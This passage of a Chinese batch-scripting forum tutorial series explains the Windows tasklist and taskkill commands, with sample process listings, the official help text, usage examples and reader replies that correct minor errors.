  57. chrome.exe                    1212 暂缺

  58. chrome.exe                    2976 暂缺

  59. chrome.exe                    2880 暂缺

  60. chrome.exe                     148 暂缺

  61. svchost.exe                   2684 WinDefend

  62. wmpnetwk.exe                  3296 WMPNetworkSvc

  63. notepad++.exe                 1028 暂缺

  64. chrome.exe                     340 暂缺

  65. cmd.exe                       2000 暂缺

  66. conhost.exe                   1036 暂缺

  67. notepad.exe                    440 暂缺

  68. YodaoDict.exe                 3448 暂缺

  69. taskmgr.exe                   3344 暂缺

  70. notepad.exe                   1396 暂缺

  71. audiodg.exe                    320 暂缺

  72. tasklist.exe                  2364 暂缺

  73. WmiPrvSE.exe                  2488 暂缺
复制代码
4.显示更详细的进程信息
  1. tasklist /v
复制代码
比光杆的tasklist，多了4个进程相关信息，分别是状态，用户名 ，CPU 时间 ，窗口标题 。

效果：
  1. 映像名称                       PID 会话名              会话#       内存使用  状态            用户名                                                 CPU 时间 窗口标题

  2. ========================= ======== ================ =========== ============ =============== ================================================== ============ ========================================================================

  3. System Idle Process              0 Services                   0         24 K Unknown         NT AUTHORITY\SYSTEM                                     2:58:32 暂缺

  4. System                           4 Services                   0        252 K Unknown         暂缺                                                    0:01:01 暂缺

  5. smss.exe                       276 Services                   0        536 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 暂缺

  6. csrss.exe                      376 Services                   0      3,428 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:01 暂缺

  7. wininit.exe                    416 Services                   0      2,720 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 暂缺

  8. csrss.exe                      424 Console                    1     20,672 K Running         NT AUTHORITY\SYSTEM                                     0:00:17 暂缺

  9. winlogon.exe                   480 Console                    1      3,640 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 暂缺

  10. services.exe                   500 Services                   0      6,236 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:07 暂缺

  11. lsass.exe                      540 Services                   0      6,536 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:28 暂缺

  12. lsm.exe                        548 Services                   0      2,108 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:01 暂缺

  13. svchost.exe                    656 Services                   0      5,020 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:09 暂缺

  14. svchost.exe                    752 Services                   0      5,376 K Unknown         NT AUTHORITY\NETWORK SERVICE                            0:00:02 暂缺

  15. svchost.exe                    816 Services                   0     11,132 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:09 暂缺

  16. svchost.exe                    892 Services                   0     24,400 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:17 暂缺

  17. svchost.exe                    920 Services                   0     23,116 K Unknown         NT AUTHORITY\SYSTEM                                     0:03:54 暂缺

  18. svchost.exe                   1096 Services                   0      8,056 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:07 暂缺

  19. ZhuDongFangYu.exe             1224 Services                   0      7,808 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:01 暂缺

  20. svchost.exe                   1264 Services                   0     11,424 K Unknown         NT AUTHORITY\NETWORK SERVICE                            0:03:56 暂缺

  21. dwm.exe                       1476 Console                    1     22,224 K Running         helloworld-PC\helloworld                                0:01:20 DWM Notification Window

  22. explorer.exe                  1488 Console                    1     31,632 K Running         helloworld-PC\helloworld                                0:00:29 暂缺

  23. spoolsv.exe                   1604 Services                   0      6,012 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 暂缺

  24. sched.exe                     1660 Services                   0      1,600 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 暂缺

  25. svchost.exe                   1696 Services                   0      8,512 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:10 暂缺

  26. taskhost.exe                  1768 Console                    1      6,996 K Running         helloworld-PC\helloworld                                0:00:00 MCI command handling window

  27. avguard.exe                   1908 Services                   0      6,612 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:46 暂缺

  28. avgnt.exe                     1960 Console                    1      2,184 K Running         helloworld-PC\helloworld                                0:00:11 暂缺

  29. svchost.exe                   1968 Services                   0      3,968 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 暂缺

  30. 360tray.exe                   1976 Console                    1     10,556 K Running         helloworld-PC\helloworld                                0:00:55 360AsyncHelper

  31. c20ukdrwsvr.exe                292 Services                   0      2,296 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 暂缺

  32. svchost.exe                   1888 Services                   0      8,460 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:09 暂缺

  33. svchost.exe                    544 Services                   0      5,028 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 暂缺

  34. inetinfo.exe                  1064 Services                   0      6,184 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 暂缺

  35. svchost.exe                    112 Services                   0      2,648 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:00 暂缺

  36. vmount2.exe                   2112 Services                   0      3,564 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 暂缺

  37. vmnat.exe                     2340 Services                   0      3,024 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 暂缺

  38. svchost.exe                   2436 Services                   0      4,700 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 暂缺

  39. WDelMgr20.exe                 2556 Services                   0      1,192 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 暂缺

  40. WLIDSVC.EXE                   2676 Services                   0      4,996 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 暂缺

  41. svchost.exe                   2704 Services                   0      4,084 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:06 暂缺

  42. vmware-authd.exe              2772 Services                   0      5,372 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:47 暂缺

  43. WLIDSVCM.EXE                  2892 Services                   0      1,580 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 暂缺

  44. vmnetdhcp.exe                 2908 Services                   0      1,796 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 暂缺

  45. SearchIndexer.exe             3200 Services                   0     20,768 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:05 暂缺

  46. svchost.exe                   3372 Services                   0      3,304 K Unknown         NT AUTHORITY\NETWORK SERVICE                            0:00:02 暂缺

  47. chrome.exe                    3980 Console                    1    163,000 K Running         helloworld-PC\helloworld                                0:04:43 批处理教学&资料 - 批处理之家 ─ 做最实用的批处理论坛 - Powered by Discuz

  48. chrome.exe                    1468 Console                    1     66,328 K Unknown         helloworld-PC\helloworld                                0:01:34 暂缺

  49. chrome.exe                    2496 Console                    1     14,980 K Unknown         helloworld-PC\helloworld                                0:00:17 暂缺

  50. chrome.exe                    1212 Console                    1     12,704 K Unknown         helloworld-PC\helloworld                                0:00:01 暂缺

  51. chrome.exe                    2976 Console                    1     12,968 K Unknown         helloworld-PC\helloworld                                0:00:01 暂缺

  52. chrome.exe                    2880 Console                    1     13,364 K Unknown         helloworld-PC\helloworld                                0:00:01 暂缺

  53. chrome.exe                     148 Console                    1      6,880 K Running         helloworld-PC\helloworld                                0:00:00 暂缺

  54. svchost.exe                   2684 Services                   0     17,880 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:28 暂缺

  55. wmpnetwk.exe                  3296 Services                   0      6,428 K Unknown         NT AUTHORITY\NETWORK SERVICE                            0:01:25 暂缺

  56. notepad++.exe                 1028 Console                    1     26,076 K Running         helloworld-PC\helloworld                                0:00:04 C:\Users\helloworld\Desktop\1.txt - Notepad++

  57. chrome.exe                     340 Console                    1     61,976 K Unknown         helloworld-PC\helloworld                                0:01:43 暂缺

  58. cmd.exe                       2000 Console                    1      7,112 K Running         helloworld-PC\helloworld                                0:00:00 暂缺

  59. conhost.exe                   1036 Console                    1      6,716 K Running         helloworld-PC\helloworld                                0:00:04 CicMarshalWnd

  60. notepad.exe                    440 Console                    1      7,032 K Running         helloworld-PC\helloworld                                0:00:03 1.txt - 记事本

  61. YodaoDict.exe                 3448 Console                    1     27,768 K Running         helloworld-PC\helloworld                                0:00:35 有道词典

  62. taskmgr.exe                   3344 Console                    1      9,852 K Running         helloworld-PC\helloworld                                0:00:01 Windows 任务管理器

  63. audiodg.exe                    320 Services                   0     14,080 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:00 暂缺

  64. notepad.exe                   1240 Console                    1      7,056 K Running         helloworld-PC\helloworld                                0:00:00 2.txt - 记事本

  65. taskeng.exe                   3304 Console                    1      5,784 K Running         helloworld-PC\helloworld                                0:00:00 TaskEng - 任务计划程序引擎进程

  66. tasklist.exe                  2284 Console                    1      5,092 K Unknown         helloworld-PC\helloworld                                0:00:00 暂缺

  67. WmiPrvSE.exe                   768 Services                   0      5,152 K Unknown         NT AUTHORITY\NETWORK SERVICE                            0:00:00 暂缺
复制代码
5.进程信息的显示格式
  1. tasklist /fo [table|list|svc]
复制代码
用/fo参数控制，一共3种显示格式，默认是table方式显示；

6.取消掉列表题得显示
  1. tasklist /nh
复制代码
对比光杆tasklist的显示效果，你就明白了。

效果：
  1. System Idle Process              0 Services                   0         24 K

  2. System                           4 Services                   0        252 K

  3. smss.exe                       276 Services                   0        536 K

  4. csrss.exe                      376 Services                   0      3,424 K

  5. wininit.exe                    416 Services                   0      2,720 K

  6. csrss.exe                      424 Console                    1     20,668 K

  7. winlogon.exe                   480 Console                    1      3,640 K

  8. services.exe                   500 Services                   0      6,204 K

  9. lsass.exe                      540 Services                   0      6,536 K

  10. lsm.exe                        548 Services                   0      2,068 K

  11. svchost.exe                    656 Services                   0      5,020 K

  12. svchost.exe                    752 Services                   0      5,384 K

  13. svchost.exe                    816 Services                   0     11,104 K

  14. svchost.exe                    892 Services                   0     24,400 K

  15. svchost.exe                    920 Services                   0     23,036 K

  16. svchost.exe                   1096 Services                   0      8,052 K

  17. ZhuDongFangYu.exe             1224 Services                   0      7,808 K

  18. svchost.exe                   1264 Services                   0     11,528 K

  19. dwm.exe                       1476 Console                    1     22,236 K

  20. explorer.exe                  1488 Console                    1     31,508 K

  21. spoolsv.exe                   1604 Services                   0      6,012 K

  22. sched.exe                     1660 Services                   0      1,600 K

  23. svchost.exe                   1696 Services                   0      8,524 K

  24. taskhost.exe                  1768 Console                    1      6,992 K

  25. avguard.exe                   1908 Services                   0      6,824 K

  26. avgnt.exe                     1960 Console                    1      2,188 K

  27. svchost.exe                   1968 Services                   0      3,968 K

  28. 360tray.exe                   1976 Console                    1     11,188 K

  29. c20ukdrwsvr.exe                292 Services                   0      2,296 K

  30. svchost.exe                   1888 Services                   0      8,460 K

  31. svchost.exe                    544 Services                   0      5,020 K

  32. inetinfo.exe                  1064 Services                   0      6,188 K

  33. svchost.exe                    112 Services                   0      2,648 K

  34. vmount2.exe                   2112 Services                   0      3,564 K

  35. vmnat.exe                     2340 Services                   0      3,024 K

  36. svchost.exe                   2436 Services                   0      4,712 K

  37. WDelMgr20.exe                 2556 Services                   0      1,192 K

  38. WLIDSVC.EXE                   2676 Services                   0      4,996 K

  39. svchost.exe                   2704 Services                   0      4,084 K

  40. vmware-authd.exe              2772 Services                   0      5,372 K

  41. WLIDSVCM.EXE                  2892 Services                   0      1,580 K

  42. vmnetdhcp.exe                 2908 Services                   0      1,796 K

  43. SearchIndexer.exe             3200 Services                   0     21,444 K

  44. svchost.exe                   3372 Services                   0      3,304 K

  45. chrome.exe                    3980 Console                    1    163,308 K

  46. chrome.exe                    1468 Console                    1     66,396 K

  47. chrome.exe                    2496 Console                    1     15,488 K

  48. chrome.exe                    1212 Console                    1     12,696 K

  49. chrome.exe                    2976 Console                    1     12,968 K

  50. chrome.exe                    2880 Console                    1     13,364 K

  51. chrome.exe                     148 Console                    1      6,880 K

  52. svchost.exe                   2684 Services                   0     16,288 K

  53. wmpnetwk.exe                  3296 Services                   0      6,428 K

  54. notepad++.exe                 1028 Console                    1     26,076 K

  55. chrome.exe                     340 Console                    1     63,056 K

  56. cmd.exe                       2000 Console                    1      7,172 K

  57. conhost.exe                   1036 Console                    1      6,716 K

  58. notepad.exe                    440 Console                    1      7,032 K

  59. YodaoDict.exe                 3448 Console                    1     27,904 K

  60. taskmgr.exe                   3344 Console                    1      9,860 K

  61. tasklist.exe                  1524 Console                    1      4,604 K

  62. WmiPrvSE.exe                  2032 Services                   0      5,164 K
复制代码
扩展阅读：

1.神马是进程？

进程是动态的程序代码；——写好了程序代码，但你不运行程序，代码永远都只是一些怪异的符号，只有当程序运行时代码才产生了意义，这时候的程序代码被称为进程。

进程百科：http://baike.baidu.com/view/19746.htm

windows入门，开机11个进程作用讲解：http://www.qqread.com/meetwindows/p495414.html

更多进程知识：http://www.qqread.com/z/windows/process/
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

522235677
  • 发短消息
  • 加为好友

522235677 (!)当前离线

UID
35848
帖子
667
精华
0
积分
1656
PB
1453
技术
61
捐助
20
阅读权限
60
在线时间
537 小时
注册时间
2011-3-31
最后登录
2018-1-4

少校

帖子
667
积分
1656
技术
61
捐助
20
注册时间
2011-3-31
2楼
发表于 2011-10-17 10:36 | 只看该作者
好 顶{:3_64:}
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
3楼
发表于 2011-10-18 00:13 | 只看该作者
呵呵，又提意见了，别拍砖啊！建议将那些多余的进程删掉除非直接用来讲解的，放那么多进程进来不好看，不好找东西看。
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
4楼
发表于 2011-10-18 14:22 | 只看该作者
这个没办法，本来想传图的，但为了节省bathome的磁盘空间。

这样虽然不美观，但勉强还是能看的
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

zxd11097
  • 发短消息
  • 加为好友

zxd11097 当前离线

UID
39373
帖子
13
精华
0
积分
14
PB
14
技术
0
捐助
0
阅读权限
5
在线时间
28 小时
注册时间
2011-7-4
最后登录
2018-4-22

列兵

帖子
13
积分
14
技术
0
捐助
0
注册时间
2011-7-4
5楼
发表于 2011-11-1 12:52 | 只看该作者
怎么Hello123World 系统里还会有ZhuDongFangYu.exe 卸了吧 IT时代 倡导裸奔。
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
6楼
发表于 2011-11-1 15:17 | 只看该作者
回复 4# Hello123World

没明白我的意思，我的意思是把那些不是系统进程删掉。
  1.

  2. wininit.exe                    416 Services                   0      2,720 K

  3. lsm.exe                        548 Services                   0      2,068 K

  4. ZhuDongFangYu.exe             1224 Services                   0      7,808 K

  5. dwm.exe                       1476 Console                    1     22,236 K

  6. sched.exe                     1660 Services                   0      1,600 K

  7. taskhost.exe                  1768 Console                    1      6,992 K

  8. avguard.exe                   1908 Services                   0      6,824 K

  9. avgnt.exe                     1960 Console                    1      2,188 K

  10. 360tray.exe                   1976 Console                    1     11,188 K

  11. c20ukdrwsvr.exe                292 Services                   0      2,296 K

  12. inetinfo.exe                  1064 Services                   0      6,188 K

  13. svchost.exe                    112 Services                   0      2,648 K

  14. vmount2.exe                   2112 Services                   0      3,564 K

  15. vmnat.exe                     2340 Services                   0      3,024 K

  16. WDelMgr20.exe                 2556 Services                   0      1,192 K

  17. WLIDSVC.EXE                   2676 Services                   0      4,996 K

  18. vmware-authd.exe              2772 Services                   0      5,372 K

  19. WLIDSVCM.EXE                  2892 Services                   0      1,580 K

  20. vmnetdhcp.exe                 2908 Services                   0      1,796 K

  21. SearchIndexer.exe             3200 Services                   0     21,444 K

  22. wmpnetwk.exe                  3296 Services                   0      6,428 K

  23. notepad++.exe                 1028 Console                    1     26,076 K

  24. chrome.exe                     340 Console                    1     63,056 K

  25. conhost.exe                   1036 Console                    1      6,716 K

  26. notepad.exe                    440 Console                    1      7,032 K

  27. YodaoDict.exe                 3448 Console                    1     27,904 K

  28. WmiPrvSE.exe                  2032 Services                   0      5,164 K
复制代码

以上基本不属于系统进程，可以删掉不影响原文。
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

1w9j9h1
  • 发短消息
  • 加为好友

1w9j9h1 当前离线

UID
60839
帖子
2
精华
0
积分
13
PB
13
技术
0
捐助
0
阅读权限
5
在线时间
9 小时
注册时间
2013-5-21
最后登录
2014-9-25

列兵

帖子
2
积分
13
技术
0
捐助
0
注册时间
2013-5-21
7楼
发表于 2014-8-9 15:33 | 只看该作者
楼主你有一个词拼错了，虽然也不是什么严重的错误就是了：在“5.进程信息的显示格式”中的代码
  1. tasklist /fo [table|list|svc]
复制代码
应该是
  1. tasklist /fo [table|list|csv]
复制代码
查了一下，scv是Comma Separated Value逗号分隔的意思，看显示的结果，应该是这样了
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:20, Processed in 0.056104 second(s), 7 queries, Gzip enabled.


35、关闭指定进程：taskkill

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（35）关闭指定进程：taskkill
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-10-17 16:58 | 只看该作者

[原创] 【续】[一日一教学]（35）关闭指定进程：taskkill

本帖最后由 Hello123World 于 2011-10-21 11:21 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. TASKKILL [/S system [/U username [/P [password]]]]

  2.          { [/FI filter] [/PID processid | /IM imagename] } [/T] [/F]

  3.

  4. 描述:

  5.     使用该工具按照进程 ID (PID) 或映像名称终止任务。

  6.

  7. 参数列表:

  8.     /S    system           指定要连接的远程系统。

  9.

  10.     /U    [domain\]user    指定应该在哪个用户上下文执行这个命令。

  11.

  12.     /P    [password]       为提供的用户上下文指定密码。如果忽略，提示

  13.                            输入。

  14.

  15.     /FI   filter           应用筛选器以选择一组任务。

  16.                            允许使用 "*"。例如，映像名称 eq acme*

  17.

  18.     /PID  processid        指定要终止的进程的 PID。

  19.                            使用 TaskList 取得 PID。

  20.

  21.     /IM   imagename        指定要终止的进程的映像名称。通配符 '*'可用来

  22.                            指定所有任务或映像名称。

  23.

  24.     /T                     终止指定的进程和由它启用的子进程。

  25.

  26.     /F                     指定强制终止进程。

  27.

  28.     /?                     显示帮助消息。

  29.

  30. 筛选器:

  31.     筛选器名      有效运算符                有效值

  32.     -----------   ---------------           -------------------------

  33.     STATUS        eq, ne                    RUNNING |

  34.                                             NOT RESPONDING | UNKNOWN

  35.     IMAGENAME     eq, ne                    映像名称

  36.     PID           eq, ne, gt, lt, ge, le    PID 值

  37.     SESSION       eq, ne, gt, lt, ge, le    会话编号。

  38.     CPUTIME       eq, ne, gt, lt, ge, le    CPU 时间，格式为

  39.                                             hh:mm:ss。

  40.                                             hh - 时，

  41.                                             mm - 分，ss - 秒

  42.     MEMUSAGE      eq, ne, gt, lt, ge, le    内存使用量，单位为 KB

  43.     USERNAME      eq, ne                    用户名，格式为 [domain\]user

  44.     MODULES       eq, ne                    DLL 名称

  45.     SERVICES      eq, ne                    服务名称

  46.     WINDOWTITLE   eq, ne                    窗口标题

  47.

  48.     说明

  49.     ----

  50.     1) 只有在应用筛选器的情况下，/IM 切换才能使用通配符 '*'。

  51.     2) 远程进程总是要强行 (/F) 终止。

  52.     3) 当指定远程机器时，不支持 "WINDOWTITLE" 和 "STATUS" 筛选器。

  53.

  54. 例如:

  55.     TASKKILL /IM notepad.exe

  56.     TASKKILL /PID 1230 /PID 1241 /PID 1253 /T

  57.     TASKKILL /F /IM cmd.exe /T

  58.     TASKKILL /F /FI "PID ge 1000" /FI "WINDOWTITLE ne untitle*"

  59.     TASKKILL /F /FI "USERNAME eq NT AUTHORITY\SYSTEM" /IM notepad.exe

  60.     TASKKILL /S system /U domain\username /FI "USERNAME ne NT*" /IM *

  61.     TASKKILL /S system /U username /P password /FI "IMAGENAME eq note*"
复制代码
命令概括：

taskkill，意为“杀死进程”，引申为“注销进程”；
/pid，全英文process id，意为“进程id”；（id有身份证的意思，全英文未知）。
/im，全英文imagename，意为“图像名称”，引申为“进程名”；
/t，全英文tree（不确定），意为“树”，引申为“进程树”
/f，全英文force，意为“强制”。

参数详解：

1.利用进程pid结束进程。
先查询要结束进程的pid，然后结束对应pid的进程。

先查询pid：
  1. tasklist |find /i "qq.exe"
复制代码
效果：QQ.exe 5876 Console 1 85,616 K

结束pid对应的进程
  1. taskkill /pid 5876
复制代码
注意：pid是一个变化的值，qq.exe的pid不会永远是5876，重启一次qq.exe，pid就会发生变化。
这是因为pid是一个随机值。

2.利用进程名结束进程

用pid结束进程实在是一件啰嗦事，知道进程名还要查pid，每个进程的pid还不是个定值。——鸡肋、鸡肋……

对比/pid参数，/im参数是那么的可爱。

同样是结束qq.exe（结束了记得再打开qq）
  1. taskkill /t /im qq.exe
复制代码
这里加上了/t参数。/t参数是用来结束对应进程的子进程。
qq.exe有子进程txplatform.exe，如果你只是单纯的结束qq.exe（不加/t参数），那么txplatform.exe就会驻留内存，占用内存空间。
qq.exe还算是客气的，如果遇上有子进程保护的进程，如果不加/t参数，是不能结束该进程的。

3.强制结束进程（未保存的信息会丢失）

当你修改了文本而没有保存（假设是用记事本在编辑文本），这时候你结束notepad.exe，notepad就会提示你“是否要保存修改的信息”。

记事本是如此的诚挚而啰嗦，如果你不在乎修改了的信息（临时填进去的一些信息）并且希望记事本不要罗里吧嗦，这时候就可以用/f参数——大声的对他说，未保存的信息俺不要了。
  1. taskkill /f /im notepad.exe
复制代码
4.过滤器(filter)，你是如此的美丽（You are so beautiful）

之所以说/fi参数美丽，是因为她支持通配符——*，并且她让tasklist /v 有了价值。

按进程名结束进程。
  1. taskkill /fi "imagename eq notepad.exe"
复制代码
按窗口标题结束进程。
如果你打开了3个记事本，而要要结束其中一个记事本进程(窗口标题名中含有数字1)，这时候怎么办（要求用命令行结束），这时候/fi参数可以帮忙。
  1. taskkill /fi "windowtitle eq 1*"
复制代码
fi参数还有不少的功能，这里不再详述，喜欢的朋友，可以自行研究。

扩展阅读：

1.其它结束进程的命令。
【Ntsd】 NTSD -c q -Pn

【Wmic】 wmic process where name="qq.exe" delete
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

hjfeng1988
  • 发短消息
  • 加为好友

hjfeng1988 当前离线

UID
42549
帖子
7
精华
0
积分
21
PB
21
技术
0
捐助
0
阅读权限
5
在线时间
23 小时
注册时间
2011-10-11
最后登录
2011-11-21

列兵

帖子
7
积分
21
技术
0
捐助
0
注册时间
2011-10-11
2楼
发表于 2011-10-21 10:16 | 只看该作者
taskkill /T 是tree kill的意思，终止此进程及由此引起的子进程。
1

评分人数

    • Hello123World: 多谢提醒PB + 3
回复 引用

评分 报告 TOP

xslxslxsl
  • 发短消息
  • 加为好友

xslxslxsl 当前离线

UID
36358
帖子
219
精华
0
积分
278
PB
263
技术
5
捐助
0
阅读权限
20
在线时间
95 小时
注册时间
2011-4-13
最后登录
2017-10-30

四级士官

帖子
219
积分
278
技术
5
捐助
0
注册时间
2011-4-13
3楼
发表于 2011-11-7 21:49 | 只看该作者
这个非常有用的，谢谢指点。
回复 引用

评分 报告 TOP

0wlh0
  • 发短消息
  • 加为好友

0wlh0 当前离线

UID
53367
帖子
2
精华
0
积分
13
PB
13
技术
0
捐助
0
阅读权限
5
在线时间
9 小时
注册时间
2012-10-25
最后登录
2012-11-19

列兵

帖子
2
积分
13
技术
0
捐助
0
注册时间
2012-10-25
4楼
发表于 2012-11-2 16:37 | 只看该作者
id = IDentity
回复 引用

评分 报告 TOP

jacknomber1
  • 发短消息
  • 加为好友

jacknomber1 当前离线

UID
60743
帖子
6
精华
0
积分
18
PB
18
技术
0
捐助
0
阅读权限
5
在线时间
0 小时
注册时间
2013-5-19
最后登录
2013-5-24

列兵

帖子
6
积分
18
技术
0
捐助
0
注册时间
2013-5-19
5楼
发表于 2013-5-24 12:10 | 只看该作者
谢谢分享，，太感谢了，，，谢谢
回复 引用

评分 报告 TOP

jacknomber1
  • 发短消息
  • 加为好友

jacknomber1 当前离线

UID
60743
帖子
6
精华
0
积分
18
PB
18
技术
0
捐助
0
阅读权限
5
在线时间
0 小时
注册时间
2013-5-19
最后登录
2013-5-24

列兵

帖子
6
积分
18
技术
0
捐助
0
注册时间
2013-5-19
6楼
发表于 2013-5-24 12:42 | 只看该作者
谢谢分享，，太感谢了，，，谢谢
回复 引用

评分 报告 TOP

James_vivi
  • 发短消息
  • 加为好友

James_vivi 当前离线

UID
62310
帖子
19
精华
0
积分
29
PB
29
技术
0
捐助
0
阅读权限
5
在线时间
11 小时
注册时间
2013-8-19
最后登录
2014-12-10

列兵

帖子
19
积分
29
技术
0
捐助
0
注册时间
2013-8-19
7楼
发表于 2013-10-29 22:48 | 只看该作者
多谢分享，这里面的东西太全了
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:21, Processed in 0.040361 second(s), 8 queries, Gzip enabled.


36、查看IP配置信息：ipconfig

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（36）查看IP配置信息：ipconfig
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
